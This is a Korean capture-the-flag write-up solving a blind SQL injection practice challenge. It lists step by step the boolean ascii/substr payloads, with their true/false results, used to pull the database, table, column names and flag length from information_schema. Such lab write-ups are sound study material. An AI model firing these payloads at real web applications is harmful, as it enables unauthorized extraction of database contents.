※ 주의 : 보안 관련 학습은 자유이지만, 학습 내용을 사용한 경우 법적 책임은 행위자에게 있습니다. (Note: Security-related learning is allowed, but the individual is solely responsible for any legal consequences arising from the use of the acquired knowledge.)
※ CTF - Capture The Flag
※ 문제 푸는 방법이 다양할 수도 있습니다.
SegFault CTF - SQL Injection (Blind Practice)
1. 목표 : Flag를 찾아라!
2. 실행
→ Blind Practice 라고 적혀있으니 바로 접근해 봅니다.
▶Blind SQLi 공격포맷 정립
→ 무적의 LIKE를 사용해보려고 SELECT UNION을 사용해서 연구해보았지만
→LIKE를 쓰면 테이블 이름 리스트 전체에서 해당 알파벳이 있는지 확인해보는 것 밖에 되지 않아서 제외 했다.
→ ' union select SCHEMA_NAME,2,3,4 from information_schema.schemata where schema_name like '_________' # 이렇게 입력하면 어떤 DB이름이 9자라는 것을 알아낼 수 있긴 하다. 18자도 참이 나온다.
→ Blind SQLi 정석으로 공격 포맷 정립
→normaltic' and (ascii(substr((SQL문),1,1)>0) #
▶ 1단계 DB이름
→ DATABASE()를 활용하였다. (현재 쿼리가 실행중인 DB명을 알려준다)
→ SELECT schema_name FROM information_schema.schemata 도 가능하다.(다른 DB 이름까지 알려준다)
→normaltic' and (ascii(substr(database(),1,1))>97)# true // 97초과이다.
→normaltic' and (ascii(substr(database(),1,1))>98)# false // 98초과는 아니니 98밖에 없다.
→normaltic' and (ascii(substr(database(),1,1))=98)# true DB맨 앞자리 글씨는 아스키 코드 98인 'b'
→같은 방법으로 계속 찾는다. 같은 방법으로 아래와 같이 찾았다.
normaltic' and (ascii(substr(database(),1,1))=98)# 참 'b'
normaltic' and (ascii(substr(database(),2,1))=108)# 참 'l'
normaltic' and (ascii(substr(database(),3,1))=105)# 참 'i'
normaltic' and (ascii(substr(database(),4,1))=110)# 참 'n'
normaltic' and (substr(database(),4,1)='n')# 이렇게 확인도 가능하다.
normaltic' and (ascii(substr(database(),5,1))=100)# 참 'd'
normaltic' and (ascii(substr(database(),6,1))=83)# 참 'S'
normaltic' and (ascii(substr(database(),7,1))=113)# 참 'q'
normaltic' and (ascii(substr(database(),8,1))=108)# 참 'l'
normaltic' and (ascii(substr(database(),9,1))=105)# 참 'i'
normaltic' and (ascii(substr(database(),10,1))>0)# 거짓이므로 글자 수는 9자이다.
→ DB 이름 blindSqli
▶2단계 Table 이름
→SELECT table_name from information.schema.tables WHERE table_schema='DB이름'
normaltic' and (ascii(substr((SELECT table_name from information_schema.tables WHERE table_schema='blindSqli' limit 0,1),1,1))=102)# 참 'f'
normaltic' and (ascii(substr((SELECT table_name from information_schema.tables WHERE table_schema='blindSqli' limit 0,1),2,1))=108)# 참 'l'
normaltic' and (ascii(substr((SELECT table_name from information_schema.tables WHERE table_schema='blindSqli' limit 0,1),3,1))=97)# 참 'a'
normaltic' and (ascii(substr((SELECT table_name from information_schema.tables WHERE table_schema='blindSqli' limit 0,1),4,1))=103)# 참 'g'
normaltic' and (ascii(substr((SELECT table_name from information_schema.tables WHERE table_schema='blindSqli' limit 0,1),5,1))=84)# 참 'T'
normaltic' and (ascii(substr((SELECT table_name from information_schema.tables WHERE table_schema='blindSqli' limit 0,1),6,1))=97)# 참 'a'
normaltic' and (ascii(substr((SELECT table_name from information_schema.tables WHERE table_schema='blindSqli' limit 0,1),7,1))=98)# 참 'b'
normaltic' and (ascii(substr((SELECT table_name from information_schema.tables WHERE table_schema='blindSqli' limit 0,1),8,1))=108)# 참 'l'
normaltic' and (ascii(substr((SELECT table_name from information_schema.tables WHERE table_schema='blindSqli' limit 0,1),9,1))=101)# 참 'e'
normaltic' and (ascii(substr((SELECT table_name from information_schema.tables WHERE table_schema='blindSqli' limit 0,1),10,1))>0)# 거짓, 글자수는 9자리
→첫 번째 테이블 이름은 flagTable이 나왔다.
▶3단계 flagTable의 COLUMN 이름
→ SELECT column_name from information_schema.columns WHERE table_schema='DB이름' and table_name='테이블 이름' 기반
normaltic' and (ascii(substr((SELECT column_name from information_schema.columns WHERE table_schema='blindSqli' and table_name='flagTable' limit 0,1),1,1))=105)# 참 'i'
normaltic' and (ascii(substr((SELECT column_name from information_schema.columns WHERE table_schema='blindSqli' and table_name='flagTable' limit 0,1),2,1))=100)# 참 'd'
normaltic' and (ascii(substr((SELECT column_name from information_schema.columns WHERE table_schema='blindSqli' and table_name='flagTable' limit 0,1),3,1))=120)# 참 'x'
→ 첫 번째 컬럼 이름 idx 플래그와는 멀어보이니 두 번째도 찾아보자.
normaltic' and (ascii(substr((SELECT column_name from information_schema.columns WHERE table_schema='blindSqli' and table_name='flagTable' limit 1,1),1,1))=102)# 참 'f'
normaltic' and (ascii(substr((SELECT column_name from information_schema.columns WHERE table_schema='blindSqli' and table_name='flagTable' limit 1,1),2,1))=108)# 참 'l' [엘]
normaltic' and (ascii(substr((SELECT column_name from information_schema.columns WHERE table_schema='blindSqli' and table_name='flagTable' limit 1,1),3,1))=97)# 참 'a'
normaltic' and (ascii(substr((SELECT column_name from information_schema.columns WHERE table_schema='blindSqli' and table_name='flagTable' limit 1,1),4,1))=103)# 참 'g'
→ 두 번째 컬럼 이름 flag
▶4단계 flagTable의 flag컬럼에서 값 찾기
normaltic' and (ascii(substr((SELECT flag FROM flagTable LIMIT 0,1),1,1))=115)# 참 's'
1~9번째 글자가 segfalut{ 일 것 같으니 그냥 넣어본다.(다만, 주의 대소문자 구분이 안됨)
normaltic' and substr((SELECT flag FROM flagTable LIMIT 0,1),1,9)='segfault{' # 참 확인
normaltic' and (ascii(substr((SELECT flag FROM flagTable LIMIT 0,1),33,1))>0)# 참
normaltic' and (ascii(substr((SELECT flag FROM flagTable LIMIT 0,1),34,1))>0)# 거짓